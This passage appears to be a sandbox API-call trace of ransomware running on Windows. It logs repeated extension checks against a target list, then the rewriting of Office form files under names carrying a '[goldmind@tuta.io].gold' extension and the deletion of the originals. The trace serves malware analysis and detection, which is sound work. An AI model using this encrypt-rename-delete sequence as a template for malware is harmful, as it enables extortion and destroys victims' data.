liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.873] SetEndOfFile (hFile=0x38c) returned 1 [0115.874] CloseHandle (hObject=0x38c) returned 1 [0115.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico")) returned 1 [0115.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.916] lstrlenW (lpString=".doc") returned 4 [0115.916] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.916] lstrlenW (lpString=".docx") returned 5 [0115.916] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.916] lstrlenW (lpString=".pdf") returned 4 [0115.916] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.916] lstrlenW (lpString=".xls") returned 4 [0115.916] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.916] lstrlenW (lpString=".xlsx") returned 5 [0115.916] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.916] lstrlenW (lpString=".ppt") returned 4 [0115.916] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.916] lstrlenW (lpString=".zip") returned 4 [0115.916] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.916] lstrlenW (lpString=".rar") returned 4 [0115.916] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.916] lstrlenW (lpString=".bz2") returned 4 [0115.916] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.916] lstrlenW (lpString=".7z") returned 3 [0115.916] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.916] lstrlenW (lpString=".dbf") returned 4 [0115.916] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.916] lstrlenW (lpString=".1cd") returned 4 [0115.916] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.916] lstrlenW (lpString=".jpg") returned 4 [0115.916] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.916] lstrlenW (lpString=".doc") returned 4 [0115.916] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.916] lstrlenW (lpString=".docx") returned 5 [0115.917] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.917] lstrlenW (lpString=".pdf") returned 4 [0115.917] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.917] lstrlenW (lpString=".xls") returned 4 [0115.917] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.917] lstrlenW (lpString=".xlsx") returned 5 [0115.917] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.917] lstrlenW (lpString=".ppt") returned 4 [0115.917] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.917] lstrlenW (lpString=".zip") returned 4 [0115.917] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.917] lstrlenW (lpString=".rar") returned 4 [0115.917] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.917] lstrlenW (lpString=".bz2") returned 4 [0115.917] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.917] lstrlenW (lpString=".7z") returned 3 [0115.917] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.917] lstrlenW (lpString=".dbf") returned 4 [0115.917] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.917] lstrlenW (lpString=".1cd") returned 4 [0115.917] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO") returned 66 [0115.917] lstrlenW (lpString=".jpg") returned 4 [0115.917] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.917] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.917] lstrlenW (lpString="SCHDRESP.CFG") returned 12 [0115.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.929] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=833) returned 1 [0115.929] CloseHandle (hObject=0x194) returned 1 [0115.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg")) returned 0x20 [0115.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.961] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.961] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.962] GetLastError () returned 0x0 [0115.962] ReadFile (in: hFile=0x194, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x341, lpOverlapped=0x0) returned 1 [0115.974] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x350, lpOverlapped=0x0) returned 1 [0115.974] ReadFile (in: hFile=0x194, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.974] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.974] SetEndOfFile (hFile=0x3b4) returned 1 [0115.975] CloseHandle (hObject=0x3b4) returned 1 [0115.975] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.975] SetEndOfFile (hFile=0x194) returned 1 [0115.976] CloseHandle (hObject=0x194) returned 1 [0115.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\schdresp.cfg")) returned 1 [0115.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.977] lstrlenW (lpString=".doc") returned 4 [0115.977] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".docx") returned 5 [0115.978] lstrcmpiW (lpString1=".docx", lpString2="P.CFG") returned -1 [0115.978] lstrlenW (lpString=".pdf") returned 4 [0115.978] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".xls") returned 4 [0115.978] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".xlsx") returned 5 [0115.978] lstrcmpiW (lpString1=".xlsx", lpString2="P.CFG") returned -1 [0115.978] lstrlenW (lpString=".ppt") returned 4 [0115.978] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.978] lstrlenW (lpString=".zip") returned 4 [0115.978] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".rar") returned 4 [0115.978] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".bz2") returned 4 [0115.978] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.978] lstrlenW (lpString=".7z") returned 3 [0115.978] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.978] lstrlenW (lpString=".dbf") returned 4 [0115.978] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.978] lstrlenW (lpString=".1cd") returned 4 [0115.978] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.978] lstrlenW (lpString=".jpg") returned 4 [0115.978] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.978] lstrlenW (lpString=".doc") returned 4 [0115.978] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".docx") returned 5 [0115.978] lstrcmpiW (lpString1=".docx", lpString2="P.CFG") returned -1 [0115.978] lstrlenW (lpString=".pdf") returned 4 [0115.978] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".xls") returned 4 [0115.978] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".xlsx") returned 5 [0115.978] lstrcmpiW (lpString1=".xlsx", lpString2="P.CFG") returned -1 [0115.978] lstrlenW (lpString=".ppt") returned 4 [0115.978] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.978] lstrlenW (lpString=".zip") returned 4 [0115.978] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".rar") returned 4 [0115.978] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString=".bz2") returned 4 [0115.978] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.978] lstrlenW (lpString=".7z") returned 3 [0115.978] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.978] lstrlenW (lpString=".dbf") returned 4 [0115.978] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.979] lstrlenW (lpString=".1cd") returned 4 [0115.979] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned 66 [0115.979] lstrlenW (lpString=".jpg") returned 4 [0115.979] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.979] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0115.979] lstrlenW (lpString="SECURE.CFG") returned 10 [0115.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.980] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=647) returned 1 [0115.980] CloseHandle (hObject=0x194) returned 1 [0115.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg")) returned 0x20 [0115.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.980] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.980] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.981] GetLastError () returned 0x0 [0115.981] ReadFile (in: hFile=0x194, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x287, lpOverlapped=0x0) returned 1 [0115.982] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x290, lpOverlapped=0x0) returned 1 [0115.982] ReadFile (in: hFile=0x194, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.982] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0115.982] SetEndOfFile (hFile=0x3b4) returned 1 [0115.983] CloseHandle (hObject=0x3b4) returned 1 [0115.983] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.983] SetEndOfFile (hFile=0x194) returned 1 [0115.985] CloseHandle (hObject=0x194) returned 1 [0115.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\secure.cfg")) returned 1 [0115.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.986] lstrlenW (lpString=".doc") returned 4 [0115.986] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString=".docx") returned 5 [0115.986] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0115.986] lstrlenW (lpString=".pdf") returned 4 [0115.986] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString=".xls") returned 4 [0115.986] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString=".xlsx") returned 5 [0115.986] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0115.986] lstrlenW (lpString=".ppt") returned 4 [0115.986] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.986] lstrlenW (lpString=".zip") returned 4 [0115.986] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString=".rar") returned 4 [0115.986] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString=".bz2") returned 4 [0115.986] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.986] lstrlenW (lpString=".7z") returned 3 [0115.986] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.986] lstrlenW (lpString=".dbf") returned 4 [0115.986] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.986] lstrlenW (lpString=".1cd") returned 4 [0115.986] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.986] lstrlenW (lpString=".jpg") returned 4 [0115.986] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.986] lstrlenW (lpString=".doc") returned 4 [0115.986] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString=".docx") returned 5 [0115.986] lstrcmpiW (lpString1=".docx", lpString2="E.CFG") returned -1 [0115.986] lstrlenW (lpString=".pdf") returned 4 [0115.986] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString=".xls") returned 4 [0115.986] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString=".xlsx") returned 5 [0115.986] lstrcmpiW (lpString1=".xlsx", lpString2="E.CFG") returned -1 [0115.986] lstrlenW (lpString=".ppt") returned 4 [0115.986] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0115.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.986] lstrlenW (lpString=".zip") returned 4 [0115.987] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0115.987] lstrlenW (lpString=".rar") returned 4 [0115.987] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0115.987] lstrlenW (lpString=".bz2") returned 4 [0115.987] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0115.987] lstrlenW (lpString=".7z") returned 3 [0115.987] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0115.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.987] lstrlenW (lpString=".dbf") returned 4 [0115.987] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0115.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.987] lstrlenW (lpString=".1cd") returned 4 [0115.987] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0115.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned 64 [0115.987] lstrlenW (lpString=".jpg") returned 4 [0115.987] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0115.987] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.987] lstrlenW (lpString="SECURL.ICO") returned 10 [0115.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0116.182] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=1078) returned 1 [0116.182] CloseHandle (hObject=0x3f8) returned 1 [0116.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico")) returned 0x20 [0116.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0116.285] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.285] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0116.286] GetLastError () returned 0x0 [0116.286] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x436, lpOverlapped=0x0) returned 1 [0116.292] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x440, lpOverlapped=0x0) returned 1 [0116.294] ReadFile (in: hFile=0x3d0, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.294] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0116.294] SetEndOfFile (hFile=0x230) returned 1 [0116.294] CloseHandle (hObject=0x230) returned 1 [0116.294] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.294] SetEndOfFile (hFile=0x3d0) returned 1 [0116.296] CloseHandle (hObject=0x3d0) returned 1 [0116.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securl.ico")) returned 1 [0116.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURL.ICO") returned 64 [0116.297] lstrlenW (lpString=".doc") returned 4 